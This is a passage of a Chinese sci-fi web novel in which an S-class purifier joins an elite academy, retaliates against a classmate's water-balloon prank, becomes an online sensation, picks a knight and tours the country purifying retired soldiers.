“真搞不懂在闹什么，孩子早就想开机甲了，盼得心都碎了结果柳暗花明又一村嘿嘿。” “感谢联邦感谢人民感谢垃圾女王，我将从现在开始永远追随赵宴月。” “还追随呢，谁不知道她一开始只是个捡垃圾的。” “虞韵同学，请你坐好。” 不轻不重的女声从门口传来，虽然点名的是挑事的虞韵，但是所有人都安静了下来。 一道气质优雅的身影走了教室，她身旁还跟着一个穿着校服的少女。 “竟然是段院长来了！” “是赵宴月诶，看见真人了！” “嘘。” 段院长名义上是圣芙尔净化学院的院长，但她实际管理着整个云中宫殿的运转，平时一般不出现在学校里。 “主班老师应该已经提前和你们说过了我们202班会迎来一位新同学，大家也知道新同学是谁，我就不过多介绍了。” 段院长话音刚落，赵宴月已经抬起手，像个招财猫似的弯了弯指节，笑眯眯道：“嗨~” 无数道目光聚焦在她身上，好奇、激动、审视、羡慕、又或者是抵触，不管大家心里怎么想，台下此时都掌声雷动。 同学们都在鼓掌的时候，只有贺如故将自己旁边的空位拍得啪啪响，清晰的声音穿透了嘈杂：“快来坐这！” 段院长还来得及发话，已经看见两个老熟人的赵宴月自觉走了过去，一点到了新环境的适应期都没有。 行吧。 段院长见状直接伸出手压了压，清了清嗓子道：“今天除了赵宴月同学入学外，还有一件事情要和大家宣布。” “圣芙尔净化学院将从本月起，试行课程改革方案，新增‘体能训练’、‘基础格斗’、‘防身技巧’三门必修课，针对B级及以上契约了机甲战宠的同学，开设‘机甲概论’‘机甲实操’‘机甲对战’等选修课。” 段院长说到这顿了顿，往台下扫了一眼。 一小半学生眉开眼笑，一小半跃跃欲试，而大部分人都面露难色，她对此并不感到意外。 对“吃苦”有本能的抗拒再正常不过，普通高中生一周多上几节跑八百米的体育课都不乐意，更别说娇贵的净化师。 只不过改革总是要一步一步来的，好不容易才出台的政策总不能中道崩殂。 娇贵的殿下们不愿意上课没人能逼他们，不过往池子里放进一条大鱼后，其他小鱼就算组团反抗也成不了气候。 段院长想到这便看了赵宴月一眼，发现她此时正在光脑的教务系统里选课，而贺如故在旁边给她当参谋。 “净化课程都是必修课，是全班一起上的大课，除了净化课程外其他课都可以自己选，想学什么学什么，至少选两门。” 赵宴月点了点头。 她目光扫过上面的“插花艺术”、“历法与天文”、“高等宗教学”、“音律基础”等等课程，发现可选修的课多到滑不到头。 种类繁多应有尽有，但都是不需要消耗精神力的普通课程，毕竟净化师的精神力非常珍贵，只能浪费在学习净化上。 等翻完全部的选修课，赵宴月发出灵魂质问：“开设几千门选修课，是真有这么多老师吗？” “那倒没有。”贺如故高贵冷艳又云淡风轻道：“开学选完课后，学校会根据选中的课程直接进行调任，能接到圣芙尔offer本身就代表一种荣誉和认可，没有人能拒绝。” 没见过世面的赵宴月比了个大拇指：“不愧是圣芙尔，高端，实在是太高端了。” “先别急着高端，你小心虞韵。”贺如故浅尝辄止地装了一波后，稍稍凑近她朝侧后方使了个眼色：“看见没，就那小子。” “小心？”赵宴月啧了一声，身子往后一靠懒洋洋道：“你搞搞清楚，你们全校加起来打不过我一根手指头。” 贺如故见状也啧了一声，学着她往后一靠：“他这人讨厌归讨厌，但他好歹是净化师，你能把他怎么办，根本奈何他不得。” “这样，我悄悄把他鲨了，反正我也是净化师，也没人能奈我何。” 贺如故震惊地睁大眼，漂亮的脸蛋上写满了“真的假的”，好像只要赵宴月点头他就要开团秒跟。 “一段时间不见，你竟然有了这等气魄。” 他一夸完，之后又立马皱眉道：“不过我们班有个热衷当一线记者的净化师，你这种被全三垣星系关注的大名人她肯定会盯着你的，好多同学之间隐秘的爱恨情仇都被她发网上了，怕是不好动手。” 赵宴月听完也震惊地看向贺如故：“你真的假的，还真计划上了，在你心里我是那种会随便鲨人的人吗。” 贺如故笑眯眯道：“当然是假的。” 鲨人肯定不至于，但是有赵宴月在，圣芙尔那些蠢学生的好日子怕是到头了。 第114章 圣芙尔观察站：“课程改革推进艰难, 净化师消极抵抗。” “哈喽大家好，一一小编为你带来最新的圣芙尔新闻！ 众所周知，不管某殿下本人立场如何, 她的出现都直接推动了圣芙尔的课程改革, 引来众多不满，然而上有政策下有对策, 虽然课程已经改革，但净化师们选择消极抵抗。 据小编统计，本周体能课逃课人数众多, 到场人数不足一半！看来即便上面拿S级施压，许多净化师们也并不买账, 改革之路依旧荆棘载途，任重道远。 值得一提的是，某殿下对此番现象目前仍处于事不关己高高挂起状态, 更多圣芙尔相关信息请关注小编星博。” 观察站自称“一一小编”的明显也是圣芙尔的学生, 就是不知道真实身份到底是哪名净化师。 毕竟其他人可没这个胆子也没那个能力去当偷拍殿下们的狗仔。 这个星博账号本就粉丝量惊人，又提到了网友们怎么找都找不到的赵宴月的动向, 一发出去就热度超高。 “月月殿下想‘事关己’都不行吧，圣芙尔的课程改革关她兰柏林学生什么事。” “你懂什么, 这是尊严之战！政策能推行的关键就是因为垃圾女王, 要是没成功多没面子。” “殿下们不去上课, 感觉也有种打垃圾女王脸的味道, 但是垃圾女王好像没什么反应, 难道是我想多了吗？” “去不去上课关垃圾女王什么事，别阴谋论了。” “大家别看现在好像只是些锻炼身体的体能课，长远来看联邦未来绝对是想培养净化师上战场。” “联邦疯了吧！怎么可能！现在王虫都死了还去折腾殿下们干什么，有赵宴月殿下上战场还不够吗。” “就是, 殿下们怎么可以上战场！” “心疼殿下当然可以，但是楼上把垃圾女王分出去是想干什么？哪来的傻叉真以为垃圾女王叫垃圾女王就是路边一条随人踹的狗了？我告诉你全云中宫殿加起来都比不上我们垃圾女王一根头发丝儿，如果你希望垃圾女王上战场保护你这个废物，那就不要给我逼逼赖赖说心疼其他人。” “暴躁老哥说得好，两百年前王虫也死了望周知，由此可得未来也会出现新的王虫，所以联邦并不是瞎折腾，这次是出现了S级净化师兼职S级机甲尖兵的奇迹，不然以王虫觉醒的空间类天赋来看，这次的黑暗时代只会比历史上更惨烈更漫长，而不是轻描淡写到让你还有功夫在这心疼，改革势在必行，只有蠢驴才会经历刻骨铭心的惨重损失后才长教训。” “最近见不到垃圾女王，我反复观看联赛重播以解相思，有一说一净化师在战场净化确实比在后方事后净化猛多了。” “净化师真能参与作战的话牺牲的战士也能少很多很多，殿下们在我心里地位崇高，但战士们的命也是命，现在既然有更好的办法，联邦也抓住了这个机会进行改革，大家就别再高呼祖宗之法不可变增加阻力了。” “所以九月份能在兰柏林见到垃圾女王吗。” “今年兰柏林的报考分数线肯定虚高，我建议各位高考生捡漏斯伦，反正就在隔壁。” 赵宴月作为10G冲浪选手，她自然……还没看到网上的喧嚣。 事实上她有一段时间没上网冲浪了，每次一打开光脑铺天盖地的全是她的名字，资深网瘾选手已经被迫戒网。 顶着一头小卷毛的少女像个八爪鱼一样抱着赵宴月的手，将身上的部分重量压在了她身上，嘴里还催促道：“累死我了，走快点走快点，下节课要迟到了。” 她一张脸红扑扑的，身上透着高强度运动过后的热气。 想当年她也是上树爬山无所不能的勇士，没想到如今稍微剧烈运动一下就直喘气，真是在云中宫殿堕落了。 赵宴月十分冷漠：“知道要迟到了你就别扒着我。” “一年没见，你说话还是这么讨人厌。” “那你别和我说话。” “我不要，你都不知道云中宫殿根本没我想象得那么好，讨厌的人可多了……” 孟檬一边缓着略微急促的呼吸，一边还没忘了叽叽喳喳地到处说人坏话。 她说到激动之处，甚至还有功夫惟妙惟肖地扮演着某些净化师同学说话时的高傲神态。 最后她话音一收，总结道：“还是你好。” 赵宴月无视了孟檬的表演，任谁听三天不同人的坏话后都会和她一样心如止水：“我一直都很好。” 孟檬：“……” 她一时语塞，不过看见赵宴月又是这“世界都应该围着她转”的死出还有点怀念。 下一节课是净化课，赵宴月上了几天学才发现其实净化大有学问，她平常搞净化都是靠量大硬灌，十分朴素且浪费。 要是多上几天学，曾经在禁区一天应该能净化四五个高度污染的S级精神海，而不是拼尽全力也只能净化两个。 圣芙尔真是没白来，果然人还是得多读书。 刚感慨完教室就到了，只不过厚重大门此时虚掩着，并不和以前一样规整地在两边打开。 孟檬正打算推门进去，却被赵宴月拉到了一边：“等等。” 她倒回去站在窗边往教室里看了一眼，和一个长相精致神色傲慢的少年对视片刻，稍稍眯起了眼睛。 她和孟檬一直是训练完成得最快的，回来得也最早，教室里这些都是上节体能课没去上的学生，人数并不少。 此时教室里的气氛乍一看平平无奇，仔细一看哪哪都很诡异。 一部分人就差直接将“忐忑”两个字写在脸上，另一部人神情中透着点期待，还有些人平平淡淡与世无争。 赵宴月见状，心里稍稍有了数。 “你站在外……” 耳边忽然响起贺如故的声音，紧接着就是一声巨大的“砰——哗啦——” 赵宴月一转头，发现贺如故已经推开了门，超大水球劈头盖脸地砸了下来，破碎后水溅了一地。 “我的天——” 几个也训练完了的学生一上来就看见了这场面，不由地睁大眼睛惊呼出声。 少年白色的校服衬衫紧紧地贴在身上，因为湿透了连身上的肌理都看得分明，水珠一串串从身上滑落，而后从裤脚滴下来汇入湿了一大片的地面上。 时间都仿佛静止了片刻，贺如故才将湿漉漉扒在脸上的气球皮撕了下来。 他一双漂亮的眼睛下一秒就火气直冒地盯准了虞韵。 而被他盯着的少年此时已经趴在桌子上笑得直不起身。 本来虞韵看见赵宴月从窗户边走过时，他都准备好见证她变成落汤鸡的场面了，还觉得自己将时间掐得十分完美。 结果显而易见，赵宴月敏锐得可怕。 眼见计划泡汤，虞韵还来不及失望，谁能想到下一秒他的老对头就直接推开门成了落汤鸡，简直柳暗花明又一村。 贺如故这辈子哪受过这气。 他也顾不上身上湿哒哒的衣服了，当场两眼冒火地冲过去，想要打死这个龟孙。 刚提着虞韵的领子把人拎起来，拳头都快碰到他欠揍的脸蛋，却被刚好过来上课的老人声色俱厉地喝止住。 “住手！” 单明序一进教室就看见贺如故朝虞韵挥拳，还来不及询问发生了什么，已经下意识先将人制止了下来。 在圣芙尔担任净化老师的都是早已退出净化前线的老人，单明序作为退休的A级净化师更是德高望重。 他一开口，贺如故也不得不停了手。 单明序目光扫过浑身湿哒哒的贺如故，又看了眼一片混乱的门口，皱眉看向两人问道：“怎么回事？” 虞韵火速告状：“不知道，贺如故一进教室就冲过来打我！老师你管管他！” “他个神经病在门上放水球。” “我又不知道谁会进来，没事在门上放水球干什么！你才神经病！” “你！” 贺如故一时卡了壳，竟然觉得他说得有道理。 他这几天在训练馆上完体能课后，并不是每天都第一时间回上净化课的大教室，有时快有时慢根本没有规律。 如果虞韵真想搞他，完全不需要选在这个时候。 但是这种事除了虞韵，贺如故根本想不出还有谁会做。 出于对虞韵的了解，贺如故冷笑一声，下一秒就一拳打到了他的脸上。 “水球是你放的总没错，我今天就当大发善心帮别人教训你。” 虞韵根本不还手，被打得头一偏，刚好眼泪直冒地看向单明序委屈巴巴道：“老师，人证物证俱在，他打我！” 专门负责处理学生事务的主班老师已经急匆匆地闻讯赶来，看向虞韵问：“水球是你放的吗？” 虞韵抽泣几声，摇头道：“不是我，不信你问其他人。” 年轻的主班老师和虞韵经过了一年的相处，对他也算了解，根本没被他这副可怜模样骗到。 眼见虞韵这么笃定，他便已经猜到了不是虞韵放的也是他指使别人放的。 可惜教室里并没有监控，毕竟这是侵犯殿下们隐私的行为，现在隐私倒是保护住了，也确实没有证据抓人。 教室里的学生明显都是虞韵这一边的，贺如故现在只能吃个哑巴亏。 主班老师头痛欲裂道：“不管水球是谁放的，打人肯定是不对的，你先给人道歉。” “我凭什么给他道歉。”贺如故下巴微抬，一脸不服气：“我说是他放的就是他放的。” 单明序此时也捋清了发生了什么，微微皱眉看向贺如故道：“你说水球是虞韵放的没有证据，但是你打了虞韵同学证据确凿，该道歉就道歉。” 贺如故还是没有吱声，直挺挺地站在原地，大脑飞速运转。 打了虞韵一拳就道个歉而已，好像也不亏，如果打他一拳只用说声对不起的话，那他天天打。 道歉就道歉。 虞韵唇角微勾地看了过来，贺如故忍了又忍，刚要开口却被人一把拉开。 赵宴月围观片刻后终于确定自己没有冤枉人，这个狗日的虞韵想整的就是她。 本来还以为自己猜错了，虞韵的目标可能是贺如故，现在看来贺如故反而只是路过的超级倒霉蛋。 这辈子没受过这种气的赵宴月顿时两眼冒火。 她一把拉开贺如故将他甩到隔壁椅子上坐下，而后踢开周围的桌椅就将虞韵按在了地上。 一切都发生得太快，周围的人甚至都没看清她的动作，只听见一片叮铃哐啷的碰撞声之后，随之而来的就是拳拳到肉的闷响和虞韵的尖叫。 “你打我干嘛！好痛！救命啊——” 赵宴月可不比贺如故，她是实打实的S级机甲尖兵。 不管是身体强度还是力量，又或是打人的水平和贺如故都不在一个水平线上。 虞韵这下也不敢装了，怕自己被她打死，立马想要还击，结果发现摁着自己猛打的人力气比自己大太多，他根本没有反抗之力。 “呜呜呜呜老师她打我！” “打的就是你！” “救命！救命！好痛！我要死了！” “赵宴月同学！冷静点！他可不经打！别把人打死了！” “我管他经不经打！谁敢过来我一起打！不要脸的想阴我是吧。” 听到老师们的劝架声竟然只是别把人打死就行，绝口不提道歉的事，虞韵这下真的想哭了。 他嘴硬道：“我没有！证据呢！没证据就给我道歉！” “还敢嘴硬是吧，还不承认是吧，你以为我打你需要证据吗，你这个蠢货！” “消消气消消气赵宴月同学，都是孩子不懂事……” 虞韵这下是真的眼泪直冒了，身体哪哪都痛，还没有一个人帮他，万念俱灰下啜泣道：“我错了，我认输，别打了……” “我看你是还不服。” “我错了！我不该把水球放门上想要让你变成落汤鸡呜呜呜呜……” 赵宴月终于停了手，笑了一声站起身，语气阴森道：“真当我没理你们是因为我好欺负是吧，把坏主意打到我头上来了。” 虞韵冷酷地抹掉眼泪，感觉自己这辈子的脸已经丢完了。 而贺如故完全不知道发生了什么，只知道绝望之际赵宴月踩着五彩霞光从天而降，那一瞬间他感觉自己都要爱上她了。 没想到赵宴月竟然这么在乎他，看见他被虞韵欺负就像是她自己被欺负了似的。 如此愤怒！如此英勇！ 好感动。 谁也没注意到，一只小小的几乎与环境融为一体的电蝇蛾，正悬停在女生的肩膀上，复眼闪烁着微光。 女生眼睛微亮，左眼写着“大新闻大新闻”，右眼写着“好激动好激动”。 第115章 “S级净化师赵宴月殿下圣芙尔校内公然殴打同学！这到底是人性的扭曲还是道德的沦丧！[附4096P视频]” 关联话题：#赵宴月欺男霸女##虞韵哭得好惨# 不管什么话题只要带上了赵宴月三个字就是流量密码, 更别说还附带上了她“欺男霸女”的超高清视频。 讲台上的老师正絮絮叨叨地讲解着净化的知识点，孟檬刚开小差点开光脑就瞳孔地震，用手肘推了推坐在旁边的人。 赵宴月正撑着脸一边听课, 一边跟着系统教学抽出一丝精神力去净化面前的污染罐。 察觉到孟檬的动作, 她将撑着脸的手放了下来，懒洋洋地用眼神询问她有什么事。 “你打架斗殴的视频被发到网上了！”孟檬语气着急忙慌, 还不忘压低声音道：“你打的可是净化师，我都不敢看评论。” 赵宴月还没开口，坐在她左手边的贺如故就先看了过去, 很是嫌弃：“瞧你这点出息，就算他们要说什么也是我先动的手。” 孟檬听了这话也不着急了, 稍微坐直了点冷笑一声：“也不红倒是爱蹭，你先动的手也没人会把注意力放在你身上。” “你！” “我什么我。” 又来了。 赵宴月叹了一口气，鬼知道在她没来圣芙尔之前这两人都不认识, 也不知道事情怎么会发展成这样。 孟檬和贺如故还在发动你一句我一句的回合制攻击, 被夹在中间的赵宴月冷漠地低下头登上了星博。 果然一点开星博，跳出来的就是孟檬说的欺男霸女热搜, 十分具有噱头的标题也对得起它身后红到发黑的“爆”。 赵宴月许久没有上网对线感觉都有些手生了，这腥风血雨的味道也让她起了点兴致。 她正打算对上方的热评一一进行批阅, 和许久未见的网友们来一场酣畅淋漓的决斗, 结果发现事情的走向完全超出了她的意料。 “虞韵殿下哭得梨花带雨的, 他做错了什么要被打得这么惨！S级就可以无法无天了吗！” “还真可以。” “我们家垃圾女王从来不随便打人哈, 被打的都反省一下自己。” “这么仗着身份欺负同学还是对她的滤镜碎了一地, 但是不敢骂。” [保密用户]：“信虞韵卖惨的这辈子有了，赵宴月没来圣芙尔之前，他才是真正无恶不作的恶霸，最可怕的是他还茶。” [保密用户]：“笑死了, 最喜欢用等级分高低贵贱的就是虞韵，现在纯属是报应来了，不是不报时候未到啊。” [保密用户]：“本来以为再来个S级日子没法过了，结果人家根本没我想的那么高高在上，她私底下还挺平平无奇的……” “竟然亲眼见到了保密用户……” “星博不是实名制吗，怎么还有保密用户啊？” “保密用户要么有钱要么有权要么就是殿下，楼上的身份很明显啦，大家赶紧合影留念。” “垃圾女王私底下什么样可以再说说吗，我好想知道！我现在满脑子都是垃圾女王。” “我也是……她所有的直播录像我都翻来覆去看了好多遍，就那么点够谁看的，而且神奇的是至今没人扒出任何她18岁以前的生活，按理来讲只要生活在这个世界上总会留下痕迹才对，但她好像没有任何亲朋好友和同学。” “正常，我是兰柏林的学生我有发言权！虽然垃圾女王是腥风血雨体质，其实私底下谁也见不到她，从没见过她和别人出去玩出去逛街什么的，一般确实见不到人，有时候在食堂见到了也不敢搭话，总之她不是那种气质亲和的人。” “感觉垃圾女王突然变得真实了好多，虽然我在网上经常蛐蛐她，要是见到真人估计都不敢吱声。” 本以为会看到的口诛笔伐从一开始就没有出现，在保密用户下场后更是直接偏了题，后续全都是网友们对赵宴月这个人的强烈好奇。 准备好的八百句阴阳怪气毫无用武之地，赵宴月略感无味地关掉了光脑。 本来被迫戒网就烦，现在又少了一个爱好。 下节课是必修的基础格斗，不过圣芙尔的“基础格斗”和兰柏林的基础格斗课根本不是一码事。 虽然这节课对于赵宴月来说其实都没有上的必要，但作为一个遵守纪律的好学生，她从来不逃课。 看着赵宴月和贺如故孟檬几人的身影走出教室，原本坐在教室里没动的学生面面相觑。 有一部分坐立难安了片刻后也起身跟了上去，另一部分见状更是焦虑地和同伴窃窃私语起来。 “他们怎么走了，不是说好都不去上课的吗？” “他们去那我也去，本来我也只是因为虞韵才对S级不爽，现在看来根本没这个必要，人家甚至都没意识到我们不去上课是在针对她。” “虞韵是明目张胆的用等级分高低贵贱去压迫人，其他高等级净化师明显也遵循这套潜规则，只是没说出口而已，倒是赵宴月，她虽然打架的时候说什么我打你不要理由，但平时其实一点也不仗着等级暗戳戳欺负人。” “那她光明正大的欺负了啊。” “那叫欺负吗？虞韵放水球说要整赵宴月的时候我们都在教室里，是虞韵先挑事的没错吧，人家报复回来有问题吗？” 女生说到这站起身道：“你不走我走了，你要不想去就在教室里待着吧，反正下节课还是在这个教室。” 另一人见状连忙也跟上，急匆匆道：“你去那我也去。” “呦呦呦，你刚不还说不去吗。” “……那你别管，万一我不去上课，赵宴月明天因为我左脚先进教室把我打一顿怎么办，她打虞韵的时候就连单老师都没去拦。” “你真的很不会找理由。” “总之识时务者为俊杰嘛……哈、哈哈。” …… 眼看大部队已经屈服在了赵宴月的淫威之下，剩下的乌合之众自然也土崩瓦解，课程改革的推进忽然变得异常顺利起来。 闻星洲放下圣芙尔课程出勤率的报告，站起身亲自沏了杯茶放到刚落座的赵宴月面前。 “果然有殿下在，一切事情都会变得顺利。” 赵宴月坐在沙发上，吃着茶几上招待客人的珍稀水果，不紧不慢道：“倒也不用什么功劳都往我身上推，我可什么都没做。” 闻星洲笑了笑，不再继续这个话题，转而道：“请殿下过来，是关于您的专属骑士人选，目前遇到了一个小问题。” “之前因为殿下身份的保密问题，不管是易秋还是柏慈都是作为保镖保护殿下，但骑士是一个需要信仰的岗位，他的生命属于殿下，时刻都要有为保护殿下而死的准备，并不是单纯的雇佣关系。” 赵宴月放下手里的银叉，觉得专属骑士对她来说可有可无，抬眸道：“所以闻执政官说的小问题是什么？” “以往专属骑士都是联邦经过层层挑选后直接分配的A级机甲尖兵，但A级机甲尖兵对殿下来说在‘安保’方面能发挥的作用杯水车薪。” 赵宴月一听到这差不多已经知道了闻星洲说的问题是什么。 S级机甲尖兵一般不会担任骑士，他们的稀缺程度也就比净化师稍微好一点，自己本身更是天之骄子，怎么可能会乐意给别人当保镖兼保姆，甚至还要有为殿下而死的觉悟，而A级给她当骑士，真到了危险关头是谁保护谁还真难说。 赵宴月本身对骑士也没什么需求，闻言直接道：“那就不需要给我分配什么专属骑士。” “问题不在这里。”闻星洲很容易就能猜出她在想什么，直接调出了一份长长的名单，将自己面前的光屏共享给了赵宴月。 “自从联邦要为殿下选拔S级骑士的信息传出去后，报名的人实在有点多，我说的小问题是联邦直接指定任何人恐怕都难以服众。” 赵宴月目光扫过光屏上看不到头的名单，没想到事情是这么个发展，这个名单的长度甚至让人怀疑全三垣星系所有S级机甲尖兵都报名了。 “殿下对自己的影响力或许有些错误的认知。” 闻星洲观察了一下她的神色，笑了笑道：“在这份名单中，如果殿下有属意的人选可以直接指定，如果没有的话，联邦将举办一场公开的骑士选拔赛，只有最终的优胜者才能获得这份荣耀。” 赵宴月想都没想就摇了摇头，伸出手在光屏上随意地划拉着：“太麻烦了，我自己选。” 大量陌生的名字里夹杂着许多熟人，闻怀玉、贺江山、司焕、应天悦、秦烨……基本所有她知道名字的S级机甲尖兵都在里面，就连华妩和严舒也二人组的名字都一闪而过。 赵宴月翻着翻着目光一顿，手指干脆利落地在某个名字上点了点道：“就他吧。” 闻星洲也没想到她决定得这么快，不过看了眼赢家的名字后也并不意外她的选择，点头道：“好，等培训完再经过宣誓仪式后，许白亦就是殿下的骑士了。” 关于骑士的人选谈完，赵宴月也放下了手里的茶杯，慢悠悠道：“执政官专门来这一趟，应该不止是为了这件事吧。” “真是什么都瞒不过殿下。”闻星洲从善如流，拍完马屁后便顺着台阶提起了另一件事，只不过语气稍微低沉了些。 “殿下应该也清楚净化师始终处于极度紧张的状态，云中宫殿的资源只能供给军队和立下重大功勋者，许多战士在污染值达到60%甚至80%后，因贡献不足无法及时获得净化，最终只能无奈选择退役，虽然大部分人没到患上狂躁症的地步，但精神海的高度污染依旧对生活造成了严重影响，联邦境内因污染而痛苦的人数不胜数。” 他说到这看向赵宴月，神色也难得变得稍稍郑重了些：“如果殿下没有出现，联邦除了退役补贴外什么都给不了他们，但殿下的存在无异于给了他们一丝往后能正常生活的希望，我们也不想辜负这些曾经出生入死过的战士，所以待殿下毕业后，联邦希望能安排殿下进行一次巡回走访，前往三大星球各个行政区为退役士兵进行净化。” “联邦退役战士数量众多，有的行政区更是地处偏远，这可能是一场耗时长达三五年乃至更久的征程，如果殿下愿意，联邦从现在起就会着手整理相关信息。” 赵宴月吃水果的动作停了一下，脑子过了下信息后便平平无奇地应道：“行。” 她应得随便，好像只是答应了一件小事一样，但闻星洲不会因此忽略其中辛苦。 男人的目光凝在她脸上片刻，声音沉静道：“那我替三垣星系的所有居民感谢殿下。” 第116章 太微星, 漠原区，烈阳城。 虽然名字里带着“烈阳”，但烈阳城实际是一座依靠地热能源维持生存的边陲城市。 这里有终年不息的风沙与极端温差, 暗红色的岩土大地苍凉而壮阔, 偶有适应了恶劣环境的奇特星兽身影在远方掠过。 灵兽商业街的建筑风格带着一种粗犷坚实的实用主义色彩，建得低矮敦实。 此刻街上人头攒动, 许多刚参加完精神海等级鉴定测试的学生正兴奋地和家长一起挑选着契约灵兽。 一家招牌写着“漠原灵兽”的店铺里，皮肤被风沙磨得有些粗糙的少年指着天火狼区空空如也的房间，语气失望：“老板, 天火狼真的一只都没有了吗？” 店主是个中年大叔，任由顾客们在各个灵兽区和灵兽互动, 他专心致志地拿着抹布仔细擦拭着一尘不染的玻璃。 又一次听到这个问题，老板头也不抬地说：“没了没了早就断货了，这可是殿下契约的灵兽, 连灵兽孵育中心的蛋都被买完了, 我这里哪能有剩下的。” 旁边的客人闻言，目光从自家孩子活泼的背影上收了回来, 搭话道：“要是天火狼只能B级及以上契约也不至于连蛋都见不着，偏偏人家还有一条幼火犬进化链, 只要是契约者都能契约……你家孩子构建的什么等级的精神海？” “刚好B级。”少年的母亲叹了口气, 目光扫过店里其他地方：“这可怎么办……孩子就心心念念着天火狼, 想要殿下的同款机甲。” 店主将抹布洗干净直起身, 指了指天火狼区旁边的房间, 里面搭着几个十分高大的栖架。 “要我说契约咱们漠原区的特色灵兽太阳鸟不也挺好？也是机甲战宠，天赋技能也是火系，羽毛都是同款色号，价格还不像天火狼一样被炒到了天上, 完美的平替嘛。” 太阳鸟区的栖架上，几只羽毛呈现出绚丽橙红渐变的鸟类灵兽正站在栖架上，它们尾羽修长、神采奕奕，正好奇地歪头打量着客人，偶尔发出清越的鸣叫，周身散发着淡淡的光晕。 “卫望，你要不要去看看太阳鸟？”少年的母亲问了一句，然后看着一尘不染的店铺，忍不住赞叹道：“烈阳城风沙大，不过这几天灵兽街的店都格外干净。” 店主闻言脸上露出些自豪：“那可不！我一天擦八百遍，听说殿下下一站就要来我们漠原区！保不齐哪天就来烈阳城了呢？万一……万一殿下路过我这小店呢？” 见他眼里闪着期待的光，旁边一个正在挑选灵兽营养罐头的客人搭话道：“你这消息靠谱吗？殿下的行程好像从来没有公开过吧，要真公开了全城的人都得夹道欢迎，到时候警卫员都不够用。” “确定肯定不能确定，但是听到了风声那我肯定得准备着。”店主搓搓手，“星博上那个‘殿下走访路线分析站’还挺靠谱的，每次预测都大差不大，他说了这几天殿下就会来烈阳城！” 一聊起殿下的话题，每个人都能说上几句，不一会儿家长们就不自觉凑到一起聊起了天。 “最近城里确实多了好多生面孔，听说都是有钱人家的少爷小姐，跟着殿下的路线从紫微星天市星跑到咱们烈阳城这么个小地方来了，真是有钱没处花，说什么这辈子见不到殿下一眼人生都不完整。唉，殿下哪是那么好见的哦……” 有人感慨道：“那肯定，殿下来去如风的，一个城市最多停留三天，就能把全城积压的几十万退役军人全净化完，这些人哪里找得到她。” “殿下可不需要三天，是官方组织人手、维持秩序、安排净化需要时间，那可是几十万人呢，可惜军事基地这种地方咱们也进不去，不然还能围观一下。” “是啊，这些老老少少的退役战士，不是谁的爹妈儿女也沾亲带故是个大伯表哥的……污染值高了确实很影响生活，整个人烦躁得没一天是安生的，现在日子总算有盼头了。” 卫望听着大人聊天，注意力放回了眼前的太阳鸟身上。 他看着其中一只特别活泼、正用喙梳理羽毛的太阳鸟，心里其实有点喜欢它，但嘴上还是说着：“爸，妈，要不再去其他店看看还有没有天火狼？” 站在外面的店主回话道：“我这都没有，其他店更没有了，你真想要只能去拍卖会看看了。” 天火狼如今本来就价格虚高，拍卖会上的价格更是不敢想，只不过只要他想要，他们家也不是买不起。 卫望看着眼前的太阳鸟，又是心动又是纠结：“……可是还是没有天火狼帅啊。” “我觉得挺帅的，你不要我要喽。”一道笑眯眯的女声忽然从旁边传来。 少年一愣转头看去，只见旁边不知何时站了两个人。 他们身上穿着烈阳城特有的防风沙长袍，都戴着宽大的兜帽，一人戴着超大墨镜一人戴着口罩，看着不像是正经人。 说话的是戴墨镜的那个，卫望看了她一眼，下意识反驳道：“哪里帅了？哪有天火狼一身火那么霸气！” 他一边说，一边还轻车熟路地点开了光脑，像是安利似的给她展示好几年前的直播剪辑。 赵宴月看了一眼，发现是她骑着熊熊燃烧的小五在净化仪式上闪亮登场的画面，还配上了踩点的激昂BGM。 “……” 她轻咳一声，冷静地移开了视线：“天火狼看多了也就那样，灵兽还是得挑自己喜欢的。” “你懂什么，不准你这么说天火狼，再说了天火狼的技能也很强！在机甲战宠里也是属于技能强大的那种！” “那我还说太阳鸟是飞行灵兽呢，契约了就能飞，你不心动吗？” 卫望噎了一下，声音也小了些：“心动是心动，但你别管我心不心动，我就想要殿下的同款灵兽。” “那真是太好了。” 戴着超大墨镜的人声音含笑：“既然你铁了心要契约天火狼，那这只太阳鸟我要了，应该没有夺人所爱吧。” “诶！诶诶……你等等。”少年急忙制止住她朝太阳鸟伸出的手，觉得这人真是可恶死了，然后又看着眼前的人愣了愣。 眼前的人又带着兜帽又带着墨镜，只能看到露出的下巴和一抹浅淡的唇色。 卫望盯着盯着，眼里的不爽逐渐变成狐疑，感觉越看越觉得有点眼熟。 他的目光又移到她旁边的人身上，男人身姿笔挺，就像一柄收敛了所有锋芒的剑，温和但自带一股让人心悸的气场。 这个组合有点熟悉，熟悉到让少年的脑海里涌现了一个荒谬又激动的念头。 这个念头一起，他眼睛瞬间瞪大亮得吓人，心脏砰砰狂跳，甚至已经顾不上太阳鸟了。 卫望做贼似的左右环顾片刻，然后压低了声音，声线还带着点激动的颤抖：“殿、殿下！你就是化成灰我都认得出来！是你对不对！” 赵宴月：“……” 没记错的话，化成灰都认得一般是对仇人说的吧。 她竖起一根手指在唇边，做了个“嘘”的手势，而少年确认了她的身份，立刻死死捂住自己的嘴疯狂点头，激动得脸都红了。 就算大脑一刹那间已经空白，卫望也没忘了最重要的事，迅速打开了光脑请求合影，毕竟这可是能吹嘘一辈子的事。 多少人跟在殿下屁股后面追了两三年都没能抓住她，而他卫望，简直就是天选之子！ “卫望你干嘛呢？诶？这是你朋友吗？”少年的母亲在聊天的空暇中注意到儿子的异常，转头问道。 少年看着合影，又看看眼前真真切切的人，强压下快要冲破喉咙的尖叫，做出了违背祖宗的回答：“没、没干嘛！” 赵宴月对少年眨了眨眼，问道：“这只太阳鸟还要吗？” “要的！我喜欢这只！” 至于天火狼什么的，虽然契约不了殿下同款，但是他已经有了和殿下的合照。 人生怎么能如此美好。 赵宴月和身边的许白亦十分自然地转身，就这么大喇喇地穿过大厅里还在议论殿下的人群，坐进了街边一辆其貌不扬的飞行器里。 唯有卫望的母亲盯着两人的身影看了又看，把儿子叫过来问道：“这真是你朋友吗，感觉有点像殿下啊，按理来讲殿下就是化成灰我都认得，但你又说这是你朋友……” 卫望干笑一声，但又实在没忍住想要炫耀的激动心情，点开了光脑里的照片展示道：“对不起妈妈，但是殿下让我别吱声，一切都是殿下的错……” 照片里的人摘了墨镜，一双狐狸眼清澈漂亮，是货真价实的殿下。 卫望的母亲顿时发出尖锐爆鸣声：“我打死你个不孝子！今天谁也别拦着我！” “怎么了这是，有话好好说啊孩子他妈……” “殿下刚才就在店里，这死孩子一声不吭！！！” “……” “？” “！” “你先歇着，我来帮你打死这个不孝子！” 